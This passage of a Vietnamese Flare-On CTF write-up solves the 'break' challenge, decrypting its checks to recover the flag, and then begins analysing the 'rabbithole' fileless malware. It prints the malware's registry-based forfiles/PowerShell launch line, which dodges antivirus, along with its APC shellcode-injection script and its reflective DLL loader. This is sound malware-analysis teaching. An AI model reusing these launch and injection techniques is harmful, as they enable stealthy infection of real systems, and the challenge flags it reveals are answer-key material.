for (int i = 0; i < 16; ++i)
{
v10 = v7 ^ ROR(v8 + _ctx[7], _ctx[41]) ^ _ctx[19];
v7 = v8;
v8 = v10;
_ctx = _ctx + 62;
}
a1[0] = v8;
a1[1] = v7;
return 0;
}

Sau khi encrypt đoạn input, nó encrypt luôn gần 40000 bytes data trong process cha, cuối cùng gọi truncate(data, 32).

1
2
3
4
memcpy(&file, src, 0x20u); // src is actually &input[16]
for ( i = 0; i < v5; i += 8 )
sub_804C369((__mode_t *)(&file + i), v6, SHIDWORD(v6), &v4); // encrypt_8bytes
return truncate(&file, 32) == 32;

Ta lại tiếp tục coi process con 1 xử lý truncate như nào:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
case 0x4A51739A: // truncate (0x5C)
SIMP_ReadProcessMemory(parrent_pid, reg.ebx, (int *)&file, 40000);
for ( i = 0; i <= 39999 && *(_BYTE *)(i + 0x804C640); ++i )
{
v18[i] = *(_BYTE *)(i + 0x804C640);// file[i]
if ( v46 == -1 && v18[i] != *(_BYTE *)(i + 0x81A5100) )
{
v46 = i; // v46 = incorrect position
}
}
v46 = v44(0xA4F57126, input_81A56C0, v46);
reg.eax = v46;
d_ptrace(PTRACE_SETREGS, parrent_pid, 0, (int)&reg);
break;

Nó sẽ copy data vừa được encrypt lên stack của chính nó, đồng thời so sánh data đó với 1 mảng hardcode ở 0x81A5100, ở đây có 32 byte [100, 160, 96, 2, 234, 138, 135, 125, 108, 233, 124, 228, 130, 63, 45, 12, 140, 183, 181, 235, 207, 53, 79, 66, 79, 173, 43, 73, 32, 40, 124, 224].

Ta viết ngay 1 đoạn decrypt đoạn trên:

1
2
3
4
5
6
7
8
9
10
11
12
int main()
{
uint32_t ctx[62*17];
uint8_t data[] = { 100, 160, 96, 2, 234, 138, 135, 125, 108, 233, 124, 228, 130, 63, 45, 12, 140, 183, 181, 235, 207, 53, 79, 66, 79, 173, 43, 73, 32, 40, 124, 224 , 0};
uint64_t key = 0x674a1dea4b695809ULL;
for (int i = 0; i < 32; i = i + 8)
{
decipher_8bytes((uint32_t*)(data + i), key, ctx);
}
printf("%s\n", (char*)data);
return 0;
}
1
4nD_0f_De4th_4nd_d3strUct1oN_4nd

Tiếp theo, nó gọi hàm v44 tạo SIGSEGV:

1
v46 = v44(0xA4F57126, input_81A56C0, v46);

Ta sẽ xem process con thứ 2 xử lý SIGSEGV như nào:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if ( _exitcode == SIGSEGV )             // SIGSEGV
{
d_ptrace(PTRACE_GETREGS, pid, 0, (int)&regs);
v_esp_0 = d_ptrace(PTRACE_PEEKDATA, pid, regs.esp, 0);
v_esp_4 = d_ptrace(PTRACE_PEEKDATA, pid, regs.esp + 4, 0);
v_esp_8 = d_ptrace(PTRACE_PEEKDATA, pid, regs.esp + 8, 0);
v_esp_C = d_ptrace(PTRACE_PEEKDATA, pid, regs.esp + 0xC, 0);
// truncated ...
{
switch ( v_esp_4 )
{
case (int)0xA4F57126:
regs.eax = v_esp_C;
if ( v_esp_C != -1 ) // if (there is incorrect byte)
{
SIMP_ReadProcessMemory(pid, v_esp_8, (int *)input_81A56C0, 62);
if ( strncmp(s1, "@no-flare.com", 0xDu) ) // s1 is &input[48];
{
regs.eax = -1;
}
}
break;
// truncated ...
}
}
// truncated ...
}

Ơ, vậy flag là “w3lc0mE_t0_Th3_l4nD_0f_De4th_4nd_d3strUct1oN_4nd@no-flare.com“ à, hmm có gì đó không ổn.

Vậy là có gì đó không đúng, mình thử hook hàm strncmp, thì không thấy hàm strncmp được thực thi. Như vậy là flow của chương trình đã bị đổi.

Đoạn copy data lên stack có gì đó đáng nghi nên mình xem lại:

1
2
3
4
5
6
7
for ( i = 0; i <= 39999 && *(_BYTE *)(i + 0x804C640); ++i )
{
v18[i] = *(_BYTE *)(i + 0x804C640);// v18[i] = file[i]
// truncated ...
}
v46 = v44(0xA4F57126, input_81A56C0, v46);
// truncated ...

Trên stack, v18 là một mảng char có độ dài 16000, nhưng đoạn trên có thể copy tới tận 40000 byte -> BufferOverflow. Ta viết 1 đoạn code nhỏ để lấy đoạn data sau khi được encrypt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int main()
{
uint32_t ctx[62*17];
uint64_t key = 0x674a1dea4b695809ULL;
uint8_t* data = new uint8_t[40000];
FILE* f = fopen("dump.bin", "rb");
fread(data, 1, 40000, f);
fclose(f);
for (int i = 0; i < 40000; i = i + 8)
{
encipher_8bytes((uint32_t*)(data + i), key, ctx);
}
f = fopen("dec.bin", "wb");
fwrite(data, 1, 40000, f);
fclose(f);
delete[] data;
return 0;
}

Ở trong IDA, ta có thể tính được khoảng cách từ v44 tới đầu mảng v18 là 16164. Ta mở HxD để tới offset này:

Vậy là v44 đã bị ghi đè bởi 0x8053B70, địa chỉ này nằm trong đoạn data được encrypt, nên ta sẽ: lấy đoạn data đã được encrypt để patch lên file break gốc, sau đó bỏ vào IDA để phân tích lại hàm 0x8053B70.

1
2
3
4
5
6
7
8
9
10
11
# python3

if __name__ == '__main__':
with open('break', 'rb') as f:
data = f.read()
with open('dec.bin', 'rb') as f:
patch_data = f.read()
data = data[:0x4640] + patch_data + data[0x4640+40000:]
with open('patch', 'wb') as f:
f.write(data)
print ('[+] Done')

Sau khi có file mới, ta dùng IDA phân tích tiếp hàm sub_8053B70, hàm này gọi lại hàm sub_805492E(mình đã RE hàm này và rename lại hết, bạn đọc có thể tự RE lại các hàm liên quan tới bigint và xác nhận lại):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void __cdecl __noreturn sub_805492E(int a1, char *inp, int a3)
{
// truncated ...
v_8053B70 = sub_8053B70;
pid = dword_81A5280;
ptrace_8054C5C(0, dword_81A5280, PTRACE_GETREGS, &regs);
if ( a3 != 32 )
{
regs.eax = -1;
ptrace_8054C5C(0, pid, PTRACE_SETREGS, &regs);
ptrace_8054C5C(0, pid, PTRACE_DETACH, 0);
sysexit_80540CB(0);
}
zeroing_80544E2(bi_input);
zeroing_80544E2(r32_byte);
zeroing_80544E2(v11);
hextoint_8054447(bi_1, (BYTE *)&word_8055BE2[-67282078] + (_DWORD)v_8053B70, 64);// d1cc3447d5a9e1e6adae92faaea8770db1fab16b1568ea13c3715f2aeba9d84f (bi[1])
hextoint_8054447(bi_2, (BYTE *)&dword_8055B60[-33641039] + (_DWORD)v_8053B70, 64);// c10357c7a53fa2f1ef4a5bf03a2d156039e7a57143000c8d8f45985aea41dd31 (bi[2])
hextoint_8054447(bi_3, (BYTE *)&byte_8055B1F[-134564156 + (_DWORD)v_8053B70], 64);// 480022d87d1823880d9e4ef56090b54001d343720dd77cbc5bc5692be948236c (bi[3])
hextoint_8054447(bi_4, (BYTE *)&byte_8055B1F[-134564156 + (_DWORD)v_8053B70], 64);// 480022d87d1823880d9e4ef56090b54001d343720dd77cbc5bc5692be948236c (bi[4])
hextoint_8054447(bi_5, (BYTE *)&byte_8055BA1[-134564156 + (_DWORD)v_8053B70], 64);// d036c5d4e7eda23afceffbad4e087a48762840ebb18e3d51e4146f48c04697eb (bi[5])
qmemcpy(bi_input, inp + 48, 24u);
fd = call_sysopen_805409F(0, 0, (char *)&word_8055B12[-67282078] + (_DWORD)v_8053B70);// /dev/urandom
sysread_80540B5(0x20u, r32_byte, fd); // read 32 byte /dev/urandom
divmod_80543CA(r32_byte, bi_1, placeholder, a4);// divmod(r32, bi_1)
sysclose_8054091(fd);
assign_805422A(r32_byte, a4); // r32 = a4
fast_pow_8054533(bi_2, r32_byte, (int)bi_1, v11);
assign_805422A(r32_byte, a4);
fast_pow_8054533(bi_4, r32_byte, (int)bi_1, v13);
mul_bigint_80546E1((int)bi_input, (int)v11, r32_byte);
divmod_80543CA(r32_byte, bi_1, placeholder, (BYTE *)v14);
memset(v17, 0, sizeof(v17));
mb_cvt_int_to_hex_8054882(v13, v17, 1024);
memset(v17, 0, sizeof(v17));
mb_cvt_int_to_hex_8054882(v14, v17, 1024);
if ( cmp_big_int_8054251(bi_3, v13) || cmp_big_int_8054251(bi_5, v14) )// v13 == bi_3 && v14 == bi_5
{
regs.eax = -1;
ptrace_8054C5C(0, pid, PTRACE_SETREGS, &regs);
ptrace_8054C5C(0, pid, PTRACE_DETACH, 0);
sysexit_80540CB(0);
}
inp[72] = 0;
ptrace_readdata_8054C75(pid, (char *)dword_81A57C0, (void **)inp, (signed int)&v_8053B70, 73);
regs.eax = 32;
ptrace_8054C5C(0, pid, PTRACE_SETREGS, &regs);
ptrace_8054C5C(0, pid, PTRACE_DETACH, 0);
sysexit_80540CB(0);
}

Mẹo: bạn đọc có thể chỉ cần nhìn vào các tham số trước và sau khi thực hiện hàm để đoán xem hàm đó làm gì, thay vì phải RE.

Ta viết lại đoạn trên như sau:

1
2
3
4
5
6
7
8
9
10
r32 = rand();
a4 = r32 % bi[1];
r32 = a4;
bi[2] = (bi[2] ** r32) % (bi_1), v11 = old_bi[2];
r32 = a4;
bi[4] = (bi[4] ** r32) % (bi_1), v13 = old_bi[4];
r32 = input * v11;
v14 = r32 % bi[1];
v14 == bi[5]; <---------- condition
v14 = (input * bi[2]) % bi[1];

Về cơ bản hàm trên sẽ:

  • Chuyển input[48:48+24] sang số nguyên, little endian, ta gọi số này là x.
  • Ta phải giải (x * bi[2]) % bi[1] == bi[5]

Với phương trình x * y = t (mod z), ta nhân cả 2 vế với nghịch đảo modun của y, được: x * y * y^(-1) = t * y^(-1)

-> x = t * y^(-1)

Đoạn code sau tính x trong phương trình trên:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# python 3

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

if __name__ == '__main__':
z = 0xd1cc3447d5a9e1e6adae92faaea8770db1fab16b1568ea13c3715f2aeba9d84f
y = 0xc10357c7a53fa2f1ef4a5bf03a2d156039e7a57143000c8d8f45985aea41dd31
t = 0xd036c5d4e7eda23afceffbad4e087a48762840ebb18e3d51e4146f48c04697eb

r = (((modinv(y, z) * t)))
#print (hex(r))
g = r % z
#print (hex(g))
for i in range(24):
print (chr((g >> (8*i)) & 0xFF), end = '')
print ('')
1
_n0_puppi3s@flare-on.com

Vậy ta có flag ^^!

1
w3lc0mE_t0_Th3_l4nD_0f_De4th_4nd_d3strUct1oN_4nd_n0_puppi3s@flare-on.com

11 - rabbithole

1
2
3
4
5
6
7
One of our endpoints was infected with a very dangerous, yet unknown malware strain that operates in a fileless manner. The malware is - without doubt - an APT that is the ingenious work of the Cyber Army of the Republic of Kazohinia.

One of our experts said that it looks like they took an existing banking malware family, and modified it in a way that it can be used to collect and exfiltrate files from the hard drive.

The malware started destroying the disk, but our forensic investigators were able to salvage ones of the files. Your task is to find out as much as you can about the behavior of this malware, and try to find out what was the data that it tried to steal before it started wiping all evidence from the computer.

Good luck!

Ở challenge này chúng ta có file NTUSER.DAT, file này chứa thông tin về Registry của một user.

Giải nén và dùng Registry Explorer để mở file NTUSER.dat này lên:

Registry Explorer là một tool dùng để xem file registry NTUSER.dat dưới dạng cây.

Nhiều mẫu malware sử dụng cmd để start “powershell”, ta tìm thử chuỗi này:

Trong số result, ta thấy key “SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logon\0\0” có chuỗi base64 nghi ngờ:

  • Script: C:\Windows\System32\forfiles.exe
  • Parameters: /p C:\WINDOWS\system32 /s /c "cmd /c @file -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAVABpAG0AZQByAHAAcgBvACcAKQAuAEQA" /m p*ll.*e

Đoạn registry key trên dùng pattern p*ll.*e để match (regex ?) “powershell.exe”, dùng để tránh antivirus quét phải cụm từ “powershell”. Paramerter “-ec” dùng để chạy đoạn code đã được mã hóa bằng base64, ta decode đoạn mã này:

1
iex (gp 'HKCU:\SOFTWARE\Timerpro').D

Trong powershell, iex dùng để gọi 1 script khác tham khảo.

Ta đến “HKCU\SOFTWARE\Timerpro” để xem key này chứa những gì:

Entry D chứa 1 đoạn code powershell khác. Ta copy đoạn này ra file mới cho dễ đọc:

1
2
3
4
5
$jjw="kcsukccudy";
function hjmk{[System.Convert]::FromBase64String($args[0]);};
[byte[]]$rpl=hjmk("a very long base64 string");
function geapmkxsiw{$kjurpkot=hjmk($args[0]);[System.Text.Encoding]::ASCII.GetString($kjurpkot);};iex(geapmkxsiw("another base64 string"));iex(geapmkxsiw("and another one"));

Sau khi decode các đoạn string bị mã hoá trên, ta được:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$rpl="a lot of bytes ..."
$cqltd="
[DllImport(`"kernel32`")]`npublic static extern IntPtr GetCurrentThreadId();`n
[DllImport(`"kernel32`")]`npublic static extern IntPtr OpenThread(uint nopeyllax,uint itqxlvpc,IntPtr weo);`n
[DllImport(`"kernel32`")]`npublic static extern uint QueueUserAPC(IntPtr lxqi,IntPtr qlr,IntPtr tgomwjla);`n
[DllImport(`"kernel32`")]`npublic static extern void SleepEx(uint wnhtiygvc,uint igyv);";

$tselcfxhwo=Add-Type -memberDefinition $cqltd -Name 'alw' -namespace eluedve -passthru;

$dryjmnpqj="ffcx";$nayw="
[DllImport(`"kernel32`")]`npublic static extern IntPtr GetCurrentProcess();`n
[DllImport(`"kernel32`")]`npublic static extern IntPtr VirtualAllocEx(IntPtr wasmhqfy,IntPtr htdgqhgpwai,uint uxn,uint mepgcpdbpc,uint xdjp);";

$ywqphsrw=Add-Type -memberDefinition $nayw -Name 'pqnvohlggf' -namespace rmb -passthru;

$jky="epnc";

$kwhk=$tselcfxhwo::OpenThread(16,0,$tselcfxhwo::GetCurrentThreadId());
if($yhibbqw=$ywqphsrw::VirtualAllocEx($ywqphsrw::GetCurrentProcess(),0,$rpl.Length,12288,64))
{
[System.Runtime.InteropServices.Marshal]::Copy($rpl,0,$yhibbqw,$rpl.length);
if($tselcfxhwo::QueueUserAPC($yhibbqw,$kwhk,$yhibbqw))
{
$tselcfxhwo::SleepEx(5,3);
}
}

Đoạn code trên thực hiện:

  • Copy data ở biến $rpl vào 1 buffer được tạo bởi VirtualAlloc.
  • Tạo 1 thread với QueueUserAPC với tham số pfnAPC là buffer vừa tạo ở trên, chứng tỏ đoạn data này là 1 đoạn shellcode.
  • Sau đó nó đợi thread thực hiện xong bằng SleepEx.

Ta cùng xem đoạn shellcode bằng HxD trước khi phân tích nó.

Ta có thể thấy 2 bytes PE ở offset 0x10, nếu ta tiếp tục kéo xuống thì sẽ thấy rất nhiều byte 0x00, cho tới offset 0x1000 thì ta lại thấy rất nhiều bytes random. Khả năng cao đây là file PE nhưng đã bị phá huỷ mất DOS HEADER.

5 bytes đầu của file này là e9 f7 99 00 00, disassemble ta được “jmp 0x99fc”, ta bỏ file này vào IDA rồi tới offset 0x99FC để phân tích hàm này:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
__int64 __fastcall sub_99FC(__int64 a1)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v1 = 0i64;
pBase = a1;
v3 = 0i64;
v4 = 0;
pLdrLoadDll = 0i64;
pLdrGetProcedureAddress = 0i64;
nt_base = *(_QWORD *)(**(_QWORD **)(*(_QWORD *)(*(_QWORD *)(__readgsqword(0x30u) + 0x60) + 0x18i64) + 0x10i64)
+ 0x30i64) & 0xFFFFFFFFFFFFF000ui64;
pFirstDataDirectory = (IMAGE_DATA_DIRECTORY *)*(unsigned int *)((char *)&unk_88
+ *(int *)((char *)&unk_3C + nt_base)
+ nt_base);
if ( !(_DWORD)pFirstDataDirectory )
{
goto LABEL_17;
}
v4 = 1;
ex_entry_count = *(ULONG *)((char *)&pFirstDataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress + nt_base);
ex = nt_base + *(ULONG *)((char *)&pFirstDataDirectory[3].Size + nt_base);
security_data = (unsigned int *)(nt_base
+ *(ULONG *)((char *)&pFirstDataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
+ nt_base));
for ( i = (unsigned __int16 *)(nt_base + *(ULONG *)((char *)&pFirstDataDirectory[4].Size + nt_base)); ; ++i )
{
LODWORD(len) = 0;
v12 = (_BYTE *)(*security_data + nt_base + 2);
if ( *v12 )
{
do
{
len = (unsigned int)(len + 1);
}
while ( v12[len] ); // __inline_strlen
}
if ( !v1 )
{
if ( (_DWORD)len == 8 && *(_DWORD *)v12 == 'aoLr' )// LdrLoadDll
{
v1 = nt_base + *(unsigned int *)(ex + 4i64 * *i);
pLdrLoadDll = (int (__fastcall *)(_QWORD, _QWORD, __int16 *, __int64 *))(nt_base
+ *(unsigned int *)(ex + 4i64 * *i));
}
goto LABEL_10;
}
if ( v3 )
{
break;
}
LABEL_10:
if ( !v3 && (_DWORD)len == 20 && *(_DWORD *)v12 == 'teGr' )// LdrGetProcedureAddress
{
v3 = nt_base + *(unsigned int *)(ex + 4i64 * *i);
pLdrGetProcedureAddress = (int (__fastcall *)(__int64, __int16 *, _QWORD, char *))(nt_base
+ *(unsigned int *)(ex + 4i64 * *i));
}
++security_data;
if ( !--ex_entry_count )
{
return v4;
}
}
v4 = 0;
LABEL_17:
_pBase = (_DWORD *)(pBase & 0xFFFFFFFFFFFFF000ui64);
*_pBase = 0; // ---------------------> zeroing PE information
v14 = (IMAGE_NT_HEADERS64 *)((char *)_pBase + (int)_pBase[15]);
import_RVA = v14->OptionalHeader.DataDirectory[1].VirtualAddress;
if ( !(_DWORD)import_RVA )
{
goto LABEL_63;
}
v14->OptionalHeader.DataDirectory[1].VirtualAddress = 0;// --------------------> zeroing PE information
v16 = (PIMAGE_IMPORT_DESCRIPTOR)((char *)_pBase + import_RVA);
while ( v16->Name )
{
v17 = v16->Characteristics;
v18 = v16->FirstThunk;
if ( v16->Characteristics || (v17 = v16->FirstThunk, (_DWORD)v18) )
{
v19 = v17;
LODWORD(v20) = 0;
pNameDll = (char *)_pBase + v16->Name;
v22 = (const signed __int64 *)((char *)_pBase + v17);
v23 = *pNameDll;
if ( *pNameDll )
{
v24 = 0i64;
do
{
v20 = (unsigned int)(v20 + 1);
v45[v24] = v23;
v23 = pNameDll[v20];
v24 = (unsigned int)v20;
}
while ( v23 );
}
*pNameDll = 0; // -----------------> zeroing PE information
v42 = 2 * v20;
v41 = 2 * v20;
v43 = v45;
if ( pLdrLoadDll(0i64, 0i64, &v41, &v48) < 0 )
{
v4 = 126;
break;
}
v25 = *v22;
if ( *v22 )
{
v26 = v18 - v19;
v44 = v18 - v19;
while ( 1 )
{
v27 = 0;
v28 = 0i64;
if ( _bittest64(v22, 0x3Fu) )
{
if ( v25 < (unsigned __int64)_pBase || v25 >= (unsigned __int64)_pBase + v14->OptionalHeader.SizeOfImage )
{
v27 = *(_WORD *)v22;
}
else
{
v28 = (__int16 *)v25;
}
}
else
{
v28 = (__int16 *)((char *)_pBase + *(unsigned int *)v22);
}
if ( v28 )
{
pNameDll = (char *)(v28 + 1);
LODWORD(v29) = 0;
if ( *((_BYTE *)v28 + 2) )
{
do
{
v29 = (unsigned int)(v29 + 1);
}
while ( pNameDll[v29] );
}
v43 = v28 + 1;
v42 = v29;
v41 = v29;
v28 = &v41;
}
if ( pLdrGetProcedureAddress(v48, v28, v27, (char *)v22 + v26) < 0 )
{
break;
}
if ( v28 )
{
*pNameDll = 0; // -------------> zeroing PE information
}
v26 = v44;
++v22;
v25 = *v22;
if ( !*v22 )
{
goto LABEL_44;
}
}
v4 = 127;
}
}
LABEL_44:
++v16;
if ( v4 )
{
break;
}
}
if ( !v4 )
{
LABEL_63:
v30 = v14->OptionalHeader.DataDirectory[5].VirtualAddress;// relocate
v31 = (_DWORD *)((char *)_pBase + v14->OptionalHeader.AddressOfEntryPoint);
if ( (_DWORD)v30 )
{
v32 = v14->OptionalHeader.DataDirectory[5].Size;
v33 = (_DWORD *)((char *)_pBase + v30);
delta = (ULONGLONG)_pBase - v14->OptionalHeader.ImageBase;
v14->OptionalHeader.ImageBase = (ULONGLONG)_pBase;
while ( v32 > 8 )
{
v35 = v33[1];
v36 = (char *)_pBase + *v33;
nEntry = (unsigned __int64)(v35 - 8) >> 1;
if ( (int)v32 >= (int)v35 && (_DWORD)nEntry )
{
v38 = v33 + 2;
nEntry = (unsigned int)nEntry;
do
{
if ( (*v38 & 0xF000) == 0xA000u )
{
*(_QWORD *)&v36[*v38 & 0xFFF] += delta;
}
++v38;
--nEntry;
}
while ( nEntry );
}
v39 = v33[1];
v32 -= v39;
v33 = (unsigned int *)((char *)v33 + v39);
}
}
if ( !((unsigned int (__fastcall *)(_DWORD *, __int64, _QWORD))v31)(
_pBase,
1i64,
*(_QWORD *)&v14->FileHeader.PointerToSymbolTable) ) // <----- call DllMain ?
{
v4 = 1;
}
}
return v4;
}

Đoạn code trên sử dụng kỹ thuật Reflective load dll (ngoài ra sau khi load được dll lên bộ nhớ, nó cũng zeroing một số phần data để gây khó khăn cho việc dump và phân tích).

Để dễ dàng debug chương trình trên, mình thêm 1 dòng trước khi đoạn script thực hiện VirtualAlloc:

1
Write-Host -Object ('The key that was pressed was: {0}' -f [System.Console]::ReadKey().Key.ToString());

Đoạn code trên sẽ đợi người dùng bấm 1 phím bất kỳ, như vậy ta sẽ có thời gian để attach debugger vào “powershell.exe”.

Ta tiến hành debug đoạn script powershell như sau:

  • Chạy đoạn script trên, chương trình sẽ đợi ta bấm gì đó từ bàn phím.

  • Dùng windbg, attach vào powershell.exe.

  • Viết 1 đoạn windbg script để thực hiện việc nhảy tới chỗ shellcode cho nhanh:

1
2
3
4
5
6
7
8
.block
{
bp kernel32!QueueUserApcStub
g
bp @rcx
r $t0 = @rcx
g
}
  • Thực thi đoạn script trên bằng lệnh: $$>a<C:\Users\admin\Desktop\11_-_rabbithole\script.txt (bạn đọc tự thay đổi đường dẫn).

  • Sau đó bấm phím bất kỳ trong powershell, khi đó ta sẽ dừng lại ở đây:

Mẹo: dùng script khi phải làm những việc lặp đi lặp lại giúp tiết kiệm rất nhiều thời gian.

Để dump được file dll ra, ta sẽ:

  • Đặt breakpoint ngay trước khi nó kịp gọi DllMain.
  • Trong hàm sub_99FC có 1 số chỗ zeroing IAT, v.v …, ta sẽ patch những đoạn đó bằng 0x90 nop.

Đoạn script sau sẽ làm cả 2 điều ở trên:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.block
{

bp kernel32!QueueUserApcStub
g
bp @rcx
r $t0 = @rcx

eb @$t0+0x9B0E+0x00 0x90
eb @$t0+0x9B0E+0x01 0x90
eb @$t0+0x9B0E+0x02 0x90
eb @$t0+0x9B26+0x00 0x90
eb @$t0+0x9B26+0x01 0x90
eb @$t0+0x9B26+0x02 0x90
eb @$t0+0x9B26+0x03 0x90
eb @$t0+0x9B26+0x04 0x90
eb @$t0+0x9B26+0x05 0x90
eb @$t0+0x9B26+0x06 0x90
eb @$t0+0x9B83+0x00 0x90
eb @$t0+0x9B83+0x01 0x90
eb @$t0+0x9B83+0x02 0x90
eb @$t0+0x9B83+0x03 0x90
eb @$t0+0x9C52+0x00 0x90
eb @$t0+0x9C52+0x01 0x90
eb @$t0+0x9C52+0x02 0x90
eb @$t0+0x9C52+0x03 0x90

bp @$t0+0x9D1C
g
g
bc *
}

Sau khi chạy đoạn script trên, ta kiểm tra SizeOfImage trong IMAGE_NT_HEADERS để dump file này ra cho chính xác:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
0:015> dt -r nt!_IMAGE_NT_HEADERS64 @$t0
ntdll!_IMAGE_NT_HEADERS64
+0x000 Signature : 0x99f7e9
+0x004 FileHeader : _IMAGE_FILE_HEADER
+0x000 Machine : 0x3400
+0x002 NumberOfSections : 6
+0x004 TimeDateStamp : 0x5e61316e
+0x008 PointerToSymbolTable : 0xbcb280df
+0x00c NumberOfSymbols : 0x13b54550
+0x010 SizeOfOptionalHeader : 0xf0
+0x012 Characteristics : 0x203c
+0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER64
+0x000 Magic : 0x28df
+0x002 MajorLinkerVersion : 0x7a 'z'
+0x003 MinorLinkerVersion : 0x7f ''
+0x004 SizeOfCode : 0xda00
+0x008 SizeOfInitializedData : 0x2e00
+0x00c SizeOfUninitializedData : 0
+0x010 AddressOfEntryPoint : 0x3e58
+0x014 BaseOfCode : 0x1000
+0x018 ImageBase : 0x0000019e`76340000
+0x020 SectionAlignment : 0x1000
+0x024 FileAlignment : 0
+0x028 MajorOperatingSystemVersion : 4
+0x02a MinorOperatingSystemVersion : 0
+0x02c MajorImageVersion : 0
+0x02e MinorImageVersion : 0
+0x030 MajorSubsystemVersion : 5
+0x032 MinorSubsystemVersion : 2
+0x034 Win32VersionValue : 0
+0x038 SizeOfImage : 0x15000
+0x03c SizeOfHeaders : 0x400
+0x040 CheckSum : 0
+0x044 Subsystem : 2
+0x046 DllCharacteristics : 0
+0x048 SizeOfStackReserve : 0x100000
+0x050 SizeOfStackCommit : 0x1000
+0x058 SizeOfHeapReserve : 0x100000
+0x060 SizeOfHeapCommit : 0x1000
+0x068 LoaderFlags : 0
+0x06c NumberOfRvaAndSizes : 0x10
+0x070 DataDirectory : [16] _IMAGE_DATA_DIRECTORY
+0x000 VirtualAddress : 0x105a0
+0x004 Size : 0x171

SizeOfImage là 0x15000, ta dump bằng lệnh sau:

1
.writemem C:\Users\admin\Desktop\11_-_rabbithole\dll2.dll @$t0 L15000

Dùng PE-Bear để xem thông tin về file mới nhận được:

Lý do lỗi là vì, file ta vừa nhận được cũng không hề có DOS HEADER. Ở đây mình sửa file như sau:

  • Copy phần DOS HEADER từ file khác insert vào đầu file này, pad bằng \x00 cho đủ 0x1000 bytes.
  • Chỗ nào trong PE-header liên quan tới RVA, cộng thêm 0x1000 (Data Directory, EntryPoint, …).

File mới đã có thể được nhận dạng bởi PE-Bear:

Nếu bạn đọc làm lại bước này thì imagebase sẽ khác mình, tuy nhiên các offset sẽ vẫn giống.

Ta phân tích file này bằng IDA:

Tuy nhiên có nhiều chỗ hiện màu đỏ như trên, đó là vì bảng IAT bị sai. Bây giờ ta sửa tiếp như sau, đầu tiên lấy offset con trỏ hàm 0x7FFAEF4D1B80:

Vậy offset là 0x200C7380090 - imagebase - 0x1000 = 0xF090 , lý do trừ 0x1000 là vì ta đã thêm 0x1000 bytes vào làm DOS HEADER. Đến đây, ta dùng windbg để xem các symbol tại địa chỉ này:

1
2
3
4
5
6
0:015> dps @$t0+0xF090 L5
00000283`ab17f090 00007ff8`6cd21b80 KERNEL32!CloseHandle
00000283`ab17f098 00007ff8`6cd21d20 KERNEL32!SetEvent
00000283`ab17f0a0 00007ff8`6cd1f850 KERNEL32!lstrcpyW
00000283`ab17f0a8 00007ff8`6db60850 ntdll!RtlRemoveVectoredExceptionHandler
00000283`ab17f0b0 00007ff8`6cd21c40 KERNEL32!CreateMutexW

Ta có thể thấy 0x7ff86cd21b80 chính là hàm CloseHandle. Ta copy hết kết quả trên ra file khác, dùng đoạn script idapython sau để rename hết tên hàm:

1
2
3
4
5
6
7
8
9
10
11
12
13
def rename():
with open('realfunc.txt', 'r') as f:
for i,line in enumerate(f):
line = line.strip()
line = line.split(' ')
addr = int(line[0], 16)
if addr == 0:
continue
name = line[1].replace('!', '_').replace('Stub', '')
set_name(0x200C7380000+8*i, name)
# realfunc.txt format:
# 00007ff86cd21b80 KERNEL32!CloseHandle
# ...

Sau khi rename, ta đã có file ida dễ dàng phân tích hơn.

Tiếp theo ta sử dụng gợi ý của đề bài:

One of our experts said that it looks like they took an existing banking malware family …

Thông tin mà mình tìm được khi google:

Kết hợp với source code trên, ta có thể bỏ bớt một số hàm cần phải RE. Bây giờ ta phân tích tiếp hàm sub_200C7373E21C:

Hàm sub_200C737E21C sẽ trả về một chuỗi ngẫu nhiên, sau đó tạo một registry key với tên này. Nó sử dụng xorshift64 để làm hàm random, với seed được tạo ra ở hàm sub_200C737D928 như sau:

Seed sẽ dựa vào giá trị SID của user. Ở đây ta phải patch giá trị seed trên cho bằng đúng với giá trị seed trên máy nạn nhân. Các công việc cần làm là:

  • Tìm SID của nạn nhân (tìm chuỗi “S-1-5-21” trong Registry Explorer, -> “S-1-5-21-3823548243-3100178540-2044283163”)
